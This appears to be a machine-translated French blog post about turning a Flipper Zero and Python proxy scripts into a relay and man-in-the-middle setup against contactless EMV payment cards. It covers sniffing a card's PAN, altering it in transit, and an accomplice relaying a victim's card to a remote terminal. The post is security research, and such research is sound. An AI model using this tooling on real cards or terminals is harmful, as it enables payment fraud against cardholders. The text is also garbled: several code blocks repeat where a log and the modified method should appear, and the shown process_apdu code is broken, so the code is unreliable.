Dans notre article précédent, nous avons exploré comment le Flipper peut fonctionner à la fois comme lecteur de carte sans contact NFC et comme émulateur de carte NFC. Lorsque nous combinons ces deux fonctionnalités, une série de scénarios d'attaque potentiels sur les transactions par lecteur de carte apparaît :
Dans cet article, nous aborderons ces trois questions en détail.
Le schéma ci-dessus (disponible en meilleure qualité ici) illustre la configuration que nous souhaitons établir pour tester les différentes attaques décrites précédemment.
Auparavant, nous déchargés toute la logique de traitement des données vers un script Python exécuté en dehors du Flipper. Cette approche élimine le besoin de mettre à jour ou de télécharger un nouveau micrologiciel chaque fois que nous souhaitons apporter des modifications. Cependant, une question se pose : ce proxy Python va-t-il introduire une latence qui pourrait perturber la communication et la faire échouer ?
Avant de répondre à cette question, jetons un œil aux scripts Python que nous utiliserons pour mettre en place cette configuration.
Dans le billet de blog précédent, nous avons couvert les deux composants principaux de cette configuration :
Maintenant, il s'agit simplement de relier les deux ensemble. De quoi parle-t-on exactement ?
Ces exigences pour le lecteur ont conduit à la création de la classe abstraite Reader, décrite ci-dessous. De plus, nous avons introduit une méthode pour établir une connexion avec le lecteur.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
Ensuite, nous créons une classe PCSCReader minimaliste ci-dessous pour interagir avec un lecteur PC/SC.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Maintenant, nous pouvons passer à la mise en œuvre de l'émulateur de carte, appelé Emu, comme indiqué ci-dessous. Il accepte un objet Reader facultatif comme paramètre. S'il est fourni, il établit une connexion avec le lecteur.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Ensuite, nous définissons trois méthodes pour communiquer les événements au lecteur : éteindre le champ, allumer le champ et envoyer un APDU.
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
Ensuite, nous avons amélioré la méthode chargée de gérer la communication des commandes de l'émulateur de carte au niveau TPDU. Notamment, lorsqu'une commande APDU complète est reçue, la méthode process_apdu est appelée pour la transmettre au lecteur et récupérer la réponse de la carte réelle.
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Enfin, nous implémentons la méthode utilisée pour lancer l'émulation de carte à partir du Flipper Zero.
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Les scripts Python sont prêts ; Jetons maintenant un œil à la configuration matérielle que nous utiliserons pour les tester.
Vous trouverez ci-dessous notre petite réplication d'un environnement d'attaque. De gauche à droite, nous avons :
Parfait, nous disposons désormais de tous les composants nécessaires pour mener à bien les attaques ! Battons-nous !
Nous pouvons d'abord tenter de renifler, ce qui signifie que les commandes/réponses APDU du Flipper sont transmises à la carte, sans aucune modification.
Cela fonctionne parfaitement et reste stable, le code Python faisant office d'intermédiaire n'ayant aucun impact notable ! Si le proxy Python ajoute trop de latence et que le terminal commence à se plaindre de la lenteur de la carte, nous avons une solution à ce problème. Quelque chose que je n’ai pas (encore) mis en œuvre :
Vous trouverez ci-dessous un extrait d'un journal.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
En fait, une carte peut contenir des centaines d'applications différentes installées, chacune avec son propre AID unique. Un terminal ne tente pas de les essayer tous un par un. C'est pourquoi, dans le domaine bancaire sans contact, il existe une application spécifique présente sur toutes les cartes destinée à indiquer les applications bancaires disponibles sur la carte. Son AID est 325041592e5359532e4444463031, ce qui se traduit en ASCII par 2PAY.SYS.DDF01.
Plus tard dans la communication, nous pouvons voir cette application être appelée (comme indiqué ci-dessous). Par conséquent, la sélection précédente de la candidature avec l'AID D2760000850101, comme indiqué précédemment, semble inhabituelle.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Lors de l'analyse de la réponse, vous pouvez voir qu'elle indique (entre autres détails) la présence d'une application avec l'AID A0000000041010, qui correspond à MasterCard.
Ainsi, le téléphone finit par sélectionner cette application.
Ensuite, il récupère divers détails de la carte, y compris le numéro de compte principal (PAN). Le numéro affiché sur la carte correspond à celui affiché sur le terminal, confirmant que notre attaque relais, qui repose sur un simple reniflage, est réussie !
Bien sûr, des outils comme Proxmark rendent le reniflage beaucoup plus simple, mais pourquoi faire simple quand on peut compliquer les choses ;) ?
Maintenant, passons à l’attaque de l’homme du milieu. Cela signifie que nous ne nous contenterons pas d’écouter la communication, mais que nous la modifierons activement. Un cas d'utilisation intéressant pourrait consister à modifier le numéro de carte, par exemple en changeant 5132 en 6132.
En nous référant aux logs de notre précédente communication, nous pouvons constater que ces données sont transmises en clair. Ils sont récupérés de la carte à l'aide des commandes READ RECORD telles que 00B2010C00 et 00B2011400.
Les données n'étant pas cryptées et manquant de protection en intégrité, nous pouvons les modifier à notre guise. Pour implémenter cela, nous mettons simplement à jour la méthode process_apdu dans notre classe PCSCReader pour gérer la modification.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Et comme le montre l'image ci-dessous, l'application ignore totalement la modification !
Pourquoi ça marche ? La réponse se trouve dans l'image ci-dessous décrivant les différentes couches de communication :
On peut aussi s'amuser... Comme j'ai fait les modifications à la va-vite, il m'est arrivé de modifier les données de manière aléatoire. Dans un cas, comme le montre l'image ci-dessous, l'application a affiché un énorme bloc de caractères pour le numéro de carte, même s'il est censé être limité à 16 chiffres !
Cela ouvre des possibilités intéressantes pour des expériences de fuzzing.
Comme mentionné au début de cet article de blog, une attaque par relais consiste à intercepter et à relayer la communication entre deux parties (par exemple, une carte NFC et un terminal) sans la modifier, faisant croire au terminal qu'il communique avec le légitime. carte en temps réel.
Un hacker souhaite effectuer un paiement sur Terminal. Il relaie la communication du terminal à un complice proche d'une victime, qui communique alors avec la carte de la victime à son insu.
L'expérience précédente a démontré que cette attaque est réalisable dans un environnement contrôlé, comme un garage. Cependant, dans des scénarios réels, il existe des défis supplémentaires à prendre en compte.
L'une des principales contre-mesures contre les attaques par relais consiste à mesurer le timing de la communication, car le relais introduit des retards notables. Cependant, l'ancien protocole EMV n'inclut pas de commandes pour faciliter de telles vérifications de synchronisation.
Nous avons atteint la fin de cet article de blog. J'espère que vous avez apprécié le contenu ! Le code Python et le firmware Flipper Zero modifié sont disponibles sur mon GitHub.
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!